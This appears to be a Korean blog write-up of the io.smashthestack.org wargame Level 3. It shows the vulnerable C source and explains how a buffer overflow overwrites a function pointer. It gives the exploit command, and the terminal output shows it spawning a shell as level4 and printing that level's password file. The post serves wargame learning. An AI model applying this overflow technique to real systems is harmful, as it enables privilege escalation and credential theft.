io.smashthestack.org – Level 3

Level 3 문제 소스는 아래와 같다.

#include <stdio.h>
#include <unistd.h>
#include <string.h>

int good(int addr) {
        printf("Address of hmm: %p\n", addr);
}

int hmm() {
        printf("Win.\n");
        execl("/bin/sh", "sh", NULL);
}

extern char **environ;

int main(int argc, char **argv) {

        int i, limit;

        for(i = 0; environ[i] != NULL; i++) 
        memset(environ[i], 0x00, strlen(environ[i]));

        int (*fptr)(int) = good;
        char buf[32];

        if(strlen(argv[1]) <= 40) limit = strlen(argv[1]);

        for(i = 0; i <= limit; i++) {
                buf[i] = argv[1][i];
                if(i < 36) buf[i] = 0x41;
        }

        int (*hmmptr)(int) = hmm;

        (*fptr)((int)hmmptr);

        return 0;

}

실행을 하면 hmm() 의 주소를 알려 준다. hmm() 를 실행을 하면 되는 것이다.
argv[1] 값이 40 이하일때 buf 에 덮어 쓰므로 buf를 오버플로우 시켜서 hmm() 함수로 흐름을 옮기면 될 것이다.

level3@io:/levels$ ./level03 `python -c "print '\x7f\x84\x04\x08'*9"`  
Segmentation fault
level3@io:/levels$ ./level03 `python -c "print '\x7f\x84\x04\x08'*10"` 
Win.
sh-3.2$ id       
uid=1003(level3) gid=1003(level3) euid=1004(level4) groups=1003(level3),1029(nosu)
sh-3.2$ cat /home/level4/.pass
iazki1ud
sh-3.2$

답글 남기기

이메일 주소를 발행하지 않을 것입니다. 필수 항목은 *(으)로 표시합니다